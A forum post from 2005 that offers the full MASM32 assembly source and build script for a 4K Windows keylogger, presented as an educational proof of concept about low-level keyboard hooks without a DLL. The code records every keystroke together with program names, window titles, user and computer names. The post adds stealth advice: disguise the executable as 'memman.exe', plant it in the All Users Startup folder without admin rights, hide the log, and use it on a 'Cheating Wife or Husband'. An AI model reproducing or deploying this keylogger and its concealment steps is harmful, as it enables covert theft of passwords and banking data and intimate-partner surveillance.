CodeGuru Home VC++ / MFC / C++ .NET / C# Visual Basic VB Forums Developer.com

View Poll Results: Do Two ASM Examples Help Low Vs Macro?

0. You may not vote on this poll
  • Yes

    0 0%
  • No

    0 0%
  • Don't Care

    0 0%
  • Maybe

    0 0%
Results 1 to 5 of 5

Threaded View

  1. #1

    Arrow 4k Key-Logger Using (NO) DLL Example


    The Programs and Files included are Copyright 2005, by ZOverLord
    This is a Proof Of Concept for Educational Purposes ONLY!

    This program is 4K big, as in 4,096 bytes and can do ANYTHING other Key-Loggers
    claim, this is Version 1.0, a Stealth version will be next to show Hiding concepts.

    The program was created because MANY people claimed that you could NOT use a
    Stand-Alone program ("Without the Global hook procedure being located in a DLL") to do low-level
    keyboard Key-Logging. As I say.....


    The program(s) "They both produce the same output, one is Raw ASM and the other uses
    INVOKES. This was done in order to try and HELP others learn ASM a little
    better, instead of trying to make ASM look like some FRICKEN C++ MACRO from HELL Language, lol

    In any event, the RAW version has more comments if your trying to figure out
    how the MAGIC is done. There is some MASS confusion with MANY seasoned programmers
    as to just HOW to get some Data, when the process is NOT in your CONTEXT.

    LOL, Hope this helps BOYS! Ok, you need the latest and greatest MASM32 if you want
    to compile this and LEARN SOMETHING! Download and install it from here:


    Once you have done that you can click on the C:\ZKeyLog\ZKeyLogV1.bat file and
    it will build BOTH versions, as well as compile an addtional Library needed in
    msvcrt.inc, which will create a msvcrt.lib file in the c:\ZKeyLog folder as well.

    No matter if you re-compile the programs or not the following directions will help.

    Decide which of the two versions you wish to use, if needed to be more Stealth like
    make a copy of either ZKeyLogV1Raw.exe or ZKeyLogV1.exe and rename it to something
    which won't raise EyeBrows like memman.exe, for example.

    REMEMBER, anytime you do Key-Logging you run the RISK of IF someone gets into
    your system and the log contains sensitive data such as bank account info or
    passwords, you could cause Your Self some MAJOR Grief, we take NO responsibility
    on the use of this. You maybe better off re-compiling this and change the log
    file to ANOTHER name, just in case this Key-Logger gets Popular, and people start
    to look for the log name.

    Now, IF the program is NOT placed in a StartUp Folder the LOG will be in the
    same folder as the program is run, again the DEFAULT log name is ZKeyLog.txt.

    If the program is placed in a Startup Folder, it will be in the Default PATH of
    that user. So for example if you placed the program in the ALL Users Startup
    folder, then each user would have a LOG file called ZKeyLog.txt in their default

    You can HIDE the log file by setting the file to be hidden, this way users will
    not know it is there, like your Cheating Wife or Husband for example ;-)

    If you have any Questions, open the ZKeyLogV1Raw.asm file in notepad, it has more
    comments than the ZKeyLogV1.asm file. If you are still STUCK and need answers
    email me at ZOverLords@Yahoo.com.

    Enjoy, I hope this helps others learn the ASM Language, It is amazing on what you
    can do with ASM with such a small FootPrint. Enjoy!

    First, you will need to build a NEW library that is not currently in MASM32 called msvcrt.lib from this file called msvcrt.inc:

    fopen	 PROTO C :DWORD, :DWORD
    fprintf	 PROTO C :DWORD, :VARARG
    fflush	 PROTO C :DWORD
    fclose	 PROTO C :DWORD
    Second, the .bat file to build the msvcrt.lib as well as ZLogKeyV1.exe the Higher-Level MASM32 version which uses INVOKES as well as ZLogKeyV1Raw.exe which is a RAW MASM32 Low-Level MASM32 source.

    Here is the .bat file called ZKeyLogV1.bat
    : Set the masm path
    SET MASMPATH=C:\masm32
    %MASMPATH%\tools\inc2l\inc2l msvcrt.inc
    %MASMPATH%\bin\ml /c /coff ZKeyLogV1.asm
    %MASMPATH%\bin\polink /release /subsystem:windows /MAPINFO:EXPORTS /MAPINFO:FIXUPS /MAPINFO:LINES /VERBOSE /MACHINE:IX86 /libpath:%MASMPATH%\lib ZKeyLogV1.obj
    %MASMPATH%\bin\ml /c /coff ZKeyLogV1Raw.asm
    %MASMPATH%\bin\polink /release /subsystem:windows /MAPINFO:EXPORTS /MAPINFO:FIXUPS /MAPINFO:LINES /VERBOSE /MACHINE:IX86 /libpath:%MASMPATH%\lib ZKeyLogV1Raw.obj
    Third, here is the Low-Level MASM32 source, which is called ZKeyLogV1Raw.asm
    ;                            (BEST Viewed with NOTEPAD)
    ; CopyRight 2005, by ZOverLord at ZOverLords@Yahoo.com - ALL Rights Reserved
    ; "We Don't NEED no STINKIN DLL!"......ENJOY! vist http://testing.OnlyTheRightAnswers.com
    ; Proof Of Concept of using Low-Level Hooks without using any DLL for the Hook
    ;            This Program is for Educational Proof Of Concept Use ONLY!
    ; This Program compiles in 4K, get it that's 4,096 Bytes. I got TIRED of all these folks
    ; who need a FAT program as well as a FAT DLL to create a Key-Logger so in frustration
    ; this proof of concept was created. Log Items include:
    ; Date-Time Stamps, Program Name, Window Title, Window Class, Domain Name, Computer Name
    ; User Name as well as the ability to be placed in StartUp Folders for ANY and/or ALL
    ; users. There is NOT any requirement for this to run as ADMIN, ANYONE can place it in
    ; the startup folder of any user, or for all users.
    ; The Logfile is named ZKeyLog.txt and seperate logs can be kept for seperate users this
    ; can be done automatically by simply placing the program in the:
    ; C:\Documents and Settings\All Users\Start Menu\Programs\Startup folder
    ; C:\Documents and Settings\?USER?\ folder as ZKeyLog.txt 
    ;    ("You can change the File to Hidden if needed")
    ; A Hot-Key of [CTRL]-[ALT]-[F11] will turn the Key-Logger Off
    ; There are two flavors one Raw ASM and one using INVOKES, Raw has more comments, low-level.
    ; You can rename the EXE file to something NOT so obvious if needed, read the AReadMe.txt
    .model flat, stdcall
    option casemap:none
    include \masm32\include\windows.inc
    include \masm32\include\kernel32.inc
    include \masm32\include\user32.inc
    include \masm32\include\advapi32.inc
    include msvcrt.inc
    includelib \masm32\lib\user32.lib
    includelib \masm32\lib\kernel32.lib
    includelib \masm32\lib\advapi32.lib
    includelib msvcrt.lib
    pushz	macro szText:VARARG
    	local	nexti
    	call	nexti
    	db	szText,00h
    CopyRight		db		"CopyRight 2005, ZOverLords@Yahoo.com"
    Vist			db		"http://testing.OnlyTheRightAnswers.com  "
    hBuffer			dd		?
    hComputerName 		db 		32  dup(0)
    hCurrentThreadPiD 	dd 		0
    hCurrentWindow		dd		0
    hDateFormat		db		"dd MMM yyyy", 0
    hDomaineName  		db 		128 dup(0) 
    hFile			dd		0
    hHook			dd		0
    hmodul  		MODULEENTRY32  	<>
    hSnapShot 		dd 		0
    hTimeFormat		db		"hh:mm:ss tt", 0	
    hUserName               db 		32  dup(0)
    msg			MSG		<>
    onlyOneCopy		db		"Global\zkl",0
    	push 	offset onlyOneCopy	; check to make sure we are the only copy
    	push	0			; of this program running for this user
    	push	0			; for fast user switching we can still have 
      	call 	CreateMutexA		; one copy per user running with this check			
    	call 	GetLastError		; but if this user is running one already. we exit
    	je 	more_than_one_copy    
    	xor	ebx, ebx		; Zero Out ebx
    	push	VK_F11		; this will switch logger off using CTRL+ALT+F11 together
    	push	MOD_CONTROL or MOD_ALT
    	push	0badfaceh		; name of register key -> "0BADFACE"
    	push	ebx			; 
    	call	RegisterHotKey		; we got a new hot key
    	pushz	"ab"			; append in binary mode
    	pushz	"ZKeyLog.txt"		; name of log file
    	call	fopen			; open the log file
    	add	esp, 2*4		; all c lib functions need fixup..
    	mov	[hFile], eax		; save our file number
    	push	ebx
    	call	GetModuleHandleA	; get our module handle for setting the hook
    	push	ebx			; register our keyboard hook proc and start hooking
    	push	eax
    	push	offset KeyBoardProc	; where our hook proc is located
    	push	WH_KEYBOARD_LL		; low level key logger WH_KEYBOARD_LL = 13
    	call	SetWindowsHookExA	; Look MOM no DLL Needed :P
    	mov	[hHook], eax		; ok here is our hook handle for later
    	push	ebx			; We Need to check for messages like our
    	push	ebx			; hot key, so we can close when we get it
    	push	ebx
    	push	offset msg		; it will be in the message struct
    	call	GetMessageA		; wait for a message
    	push	[hHook]			; we got the hot key, lets close up house	
    	call	UnhookWindowsHookEx	; make sure we unhook things to be nice
    	push	[hFile]			; close our logfile before we stop
    	call	fclose
    	add	esp, 04
    	push	eax			; call stop and lets go away
    	call	ExitProcess
    KeyBoardProc	PROC	nCode:DWORD, wParam:DWORD, lParam:DWORD
    	LOCAL	lpKeyState[256]	:BYTE
            LOCAL   lpClassName[64]	:BYTE
    	LOCAL	lpCharBuf[32]	:BYTE
           	LOCAL   lpDateBuf[12]	:BYTE
            LOCAL   lpTimeBuf[12]	:BYTE
            LOCAL   lpLocalTime	:SYSTEMTIME
    	lea	edi, [lpKeyState]	; lets zero out our buffers
    	push	256/4
    	pop	ecx
    	xor	eax, eax
    	rep	stosd			; sets us up for doubleword from EAX
    	mov	eax, wParam
    	cmp	eax, WM_KEYUP		; only need WM_KEYDOWN
    	je	next_hook			; bypass double logging
    	cmp	eax, WM_SYSKEYUP	; only Need WM_SYSKEYDOWN
    	je	next_hook			; bypass double logging 
    	call	GetForegroundWindow	; get handle for currently used window ( specific to NT and after )
    	cmp	[hCurrentWindow], eax	; if its not different to last one saved..
    	je	no_window_change		; bypass all the headings
    	mov	[hCurrentWindow], eax	; save it for use now and compare later
            push 	64			; get the class name
            lea 	esi, [lpClassName]
            push 	esi
            push 	[hCurrentWindow]
            call 	GetClassName
            lea 	esi, [lpLocalTime]	; invoke GetLocalTime, ADDR LocalTime
            push 	esi
            call 	GetLocalTime
            push 	12			; invoke GetDateFormat, NULL, NULL \
            lea 	esi, [lpDateBuf]
            push 	esi			; ADDR lpLocalTime, ADDR hDateFormat  \
            lea 	esi, [hDateFormat]
            push 	esi			; ADDR lpDateBuf, Size of 12
            lea 	esi, [lpLocalTime]
            push 	esi
            push 	0
            push 	0
            call 	GetDateFormat		; format the date
            push 	12			; invoke GetTimeFormat, NULL, NULL \
            lea 	esi, [lpTimeBuf]
            push 	esi			; ADDR lpLocalTime, ADDR hTimeFormat  \
            lea 	esi, [hTimeFormat]
            push 	esi			; ADDR lpTimeBuf, Size of 12
            lea 	esi, [lpLocalTime]
            push 	esi
            push 	0
            push 	0
            call 	GetTimeFormat		; format the time
    	lea 	esi, [hCurrentThreadPiD]	; get the processid that sent the key
    	push 	esi				; using the HWND we got earlier from
    	mov 	eax, [hCurrentWindow]		; our GetForegroundWindow call		
    	push 	eax				; we need it to get the program exe name				
    	call 	GetWindowThreadProcessId
    	mov 	ebx, hCurrentThreadPiD		; remember we are NOT using a DLL so.....
    	push 	ebx				; we need to use ToolHelp procs to get
    	push 	TH32CS_SNAPMODULE		; the program exe name of who sent us
    	call 	CreateToolhelp32Snapshot	; this key   
    	mov 	hSnapShot,eax			; save the ToolHelp Handle to close later
            mov 	hmodul.dwSize, sizeof MODULEENTRY32; need to initialize size or we will fail 
    	push	offset hmodul		; first Module is always module for process
    	mov 	eax, [hSnapShot]	; so safe to assume that the exe file name here
    	push 	eax			; will always be the right one for us
    	call 	Module32First
    	mov 	eax, [hSnapShot]	; we are done with ToolHelp so we need
            push 	eax			; to tell it we wish to close
            call 	CloseHandle
    	push	256			; find the window title text
    	lea	esi, [lpKeyState]	; use lpKeyState it's not being used yet so
    	push	esi
    	mov	eax, [hCurrentWindow]	; using the HWND we got from GetForegroundWindow
    	push	eax
    	call	GetWindowText
    	push	offset hmodul.szExePath
            lea 	esi, [lpTimeBuf]	; print the formatted time	
            push	esi
            lea	esi, [lpDateBuf]	; print the formatted date
            push    esi
    	pushz	13,10,"[%s, %s - Program:%s]",13,10
    	push	[hFile]			
    	call	fprintf			; write the buffer to cache
    	add	esp, 3*4
    	lea	esi, [lpClassName]	; print the Window Class Name
    	push	esi
    	lea	esi, [lpKeyState]	; print the Window Title	
    	push	esi
    	pushz	13,10,"[       Window Title:%s - Window Class:%s]",13,10
    	push	[hFile]			
    	call	fprintf			; write the buffer to cache
    	add	esp, 3*4
    	mov 	hBuffer, 128		; get the current domain name
    	push 	offset hBuffer
    	push 	offset hDomaineName
    	push 	1
    	call 	GetComputerNameExA
            mov 	hBuffer, 32		; get the current computer name 
            push 	offset hBuffer 
            push 	offset hComputerName 
            push 	0 
            call 	GetComputerNameExA
            mov 	hBuffer, 32		; get the current user name
            push 	offset hBuffer
            push 	offset hUserName
            call 	GetUserNameA
    	push	offset hUserName	; print the user name
    	push	offset hComputerName	; print the computer name
    	push	offset hDomaineName	; print the domain name
            pushz 	"[       Domain:%s - Computer:%s - User:%s]",13,10
            push	[hFile]
    	call	fprintf			; write to cache
    	add	esp, 3*4 
    	push	[hFile]
    	call	fflush			; flush data buffer to disk..
    	add	esp, 4
    	mov	esi, [lParam]		; we don't want to print shift or capslock names.
    	lodsd				; it just makes the logs easier to read without them.
    	cmp	al, VK_LSHIFT		; they are tested later when distinguishing between
    	je	next_hook		; bypass left shift Key for upper/lowercase characters
    	cmp	al, VK_RSHIFT
    	je	next_hook		; bypass right shift Key
    	cmp	al, VK_CAPITAL
    	je	next_hook		; bypass caps lock Key
    	cmp	al, VK_ESCAPE		 
    	je	get_name_of_key		; we Want escape characters
    	cmp	al, VK_BACK
    	je	get_name_of_key		; we want backspace key
    	cmp	al, VK_TAB			 
    	je	get_name_of_key		; we want tab key
    	lea	edi, [lpCharBuf]	; zero initialise buffer for key text
    	push	32/4
    	pop	ecx
    	xor	eax, eax
    	rep	stosd
    	lea	ebx, [lpKeyState]
    	push	ebx
    	call	GetKeyboardState		; get current keyboard state
    	push	VK_LSHIFT			; test if left shift key held down
    	call	GetKeyState
    	xchg	esi, eax			; save result in esi
    	push	VK_RSHIFT			; test right..
    	call	GetKeyState
    	or	eax, esi			; al == 1 if either key is DOWN
    	mov	byte ptr [ebx + 16], al		; toggle a shift key to on/off
    	push	VK_CAPITAL
    	call	GetKeyState			; returns TRUE if caps lock is on	
    	mov	byte ptr [ebx + 20], al		; toggle caps lock to on/off
    	mov	esi, [lParam]
    	lea	edi, [lpCharBuf]
    	push	00h
    	push	edi				; buffer for ascii characters
    	push	ebx				; keyboard state
    	xchg	eax, edx
    	push	eax				; hardware scan code
    	push	edx				; virutal key code
    	call	ToAscii				; convert to human readable characters
    	test	eax, eax			; if return zero, continue
    	jnz	test_carriage_return		; else, write to file.
    get_name_of_key:			; no need for large table of pointers to get asciiz 
    	mov	esi, [lParam]
    	lodsd				; skip virtual key code
    	lodsd				; eax = scancode
    	shl	eax, 16
    	xchg	eax, ecx
    	lodsd				; extended key info
    	shl	eax, 24
    	or	ecx, eax
    	push	32
    	lea	edi, [lpCharBuf]
    	push	edi
    	push	ecx
    	call	GetKeyNameTextA		; get the key text
    	push	edi
    	pushz	"[%s]"			; print the special key text
    	jmp	write_to_file
    	push	edi
    	pushz	"%s"			; print regular keys
    	cmp	byte ptr [edi], 0dh	; carriage return?
    	jne	write_to_file
    	mov	byte ptr [edi + 1], 0ah	; add linefeed, so logs are easier to read.
    	push	[hFile]			; where we write to the log file
    	call	fprintf
    	add	esp, 2*4
    	push	[lParam]		; reply for possible other hooks waiting
    	push	[wParam]
    	push	[nCode]
    	push	[hHook]
    	call	CallNextHookEx
    KeyBoardProc	ENDP
    end	main
    Sample Log Output

    [26 Dec 2005, 02:18:25 PM - Program:C:\Program Files\Internet Explorer\iexplore.exe]
    [       Window Title:broadband  Forums  Security  Whats the best software to monitor my kids..... - Microsoft Internet Explorer provided by Compa - Window Class:IEFrame]
    [       Domain:BillyBobs - Computer:Billy - User:Bob]
    [26 Dec 2005, 02:18:36 PM - Program:C:\WINDOWS\system32\cmd.exe]
    [       Window Title:Command Prompt - Window Class:ConsoleWindowClass]
    [       Domain:BillyBobs - Computer:Billy - User:Bob]
    [Ctrl][Alt][F11] is a Hot Key sequence that stops the Key Logger

    Note that the all files in this project have been attached in both zip are rar format.

    All project source and the build file as well as a readme file have been included.

    Both compiled versions of the program are included as well.

    MASM32 version 8.2 was used to compile this, which is located ("For Thoses that don't know") at:


    Please let me know what you think, the goal was to try and show others how easy it is to use Low-Level Global Hooks without needing a DLL and to show how to get data from other programs that are not in your context when using Global Hooks and no dll.

    This example can be used as a baseline for similar code in C++, there really is no requirement to understand ASM or MASM32 for that matter to see how this works.

    Any Comments or Questions Please ask or Post. If you think this example ROCKS, please rate this thread, again thanks


    Last edited by Steve R Jones; October 24th, 2013 at 04:02 AM. Reason: <Attachment deleted by admin. SmartScreen warning>.

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts

Windows Mobile Development Center

Click Here to Expand Forum to Full Width

On-Demand Webinars (sponsored)